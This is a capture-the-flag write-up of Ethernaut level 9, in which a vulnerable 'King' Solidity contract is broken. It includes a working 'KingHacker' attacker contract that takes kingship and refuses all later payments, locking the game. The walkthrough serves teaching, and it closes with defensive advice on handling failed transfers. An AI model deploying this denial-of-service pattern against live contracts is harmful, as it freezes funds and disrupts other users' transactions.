Ethernaut(Lvl 9): Coup'd'ether

Ethernaut(Lvl 9): Coup'd'ether

Reclaim ownership of a contract by abusing withdrawal

In a nutshell, every smart contract can integrate a straightforward Fallback function to handle Ether transfers from other contracts and wallets. However, when your contract initiates Ether transfers to another contract, you're essentially entrusting the recipient contract's code to manage the transaction and determine its outcome. This introduces the possibility of valid transactions encountering unexpected failures.

As the initiator of the transaction, you're exposed to several potential scenarios:

  1. Case 1: The recipient contract lacks a payable fallback function, rendering it incapable of accepting ether and causing an error upon receiving a payable request.

  2. Case 2: The recipient contract features a malicious payable fallback function intentionally designed to throw exceptions and disrupt valid transactions.

  3. Case 3: The recipient contract includes a malevolent payable function intended to consume excessive gas, leading to transaction failure or exceeding your gas limit.

The Challenge

The contract presents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process!

The goal is to break it.

Upon submitting the instance back to the level, the level is going to reclaim kingship. You pass the level if you can avoid such a self proclamation.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

To swiftly tackle this stage, you have two options: either exclude the fallback function (Option 1) or construct a malicious fallback function (Option 2) within a new contract. Let's proceed with implementing the malicious fallback function to include a taunting message.

Note: If you're utilizing Remix for this stage, ensure to provide it with the complete import path

Begin by creating a KingHacker contract and in the constructor:

  1. Make a request to the king contract by sending the amount of ether specified in the prize variable, this should make the contract the new king and not allow any other king.

Upon completion, your final contract should resemble the following:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {King} from "./King.sol";

contract KingHacker{
    bool public isHacked;
    constructor(address payable _kingContract){
       (bool success,) =  payable(_kingContract).call{value: King(_kingContract).prize()}("");
       isHacked = success;
    }
}
//This sends ether to King becoming the new owner but 
//without any fallback/receive , it cant collect any ether

Developer TidBits

Always approach transactions to external contracts with caution, as their success is not guaranteed. It's imperative to anticipate and handle failed transactions on the client side, especially when your core logic depends on the success of these transactions.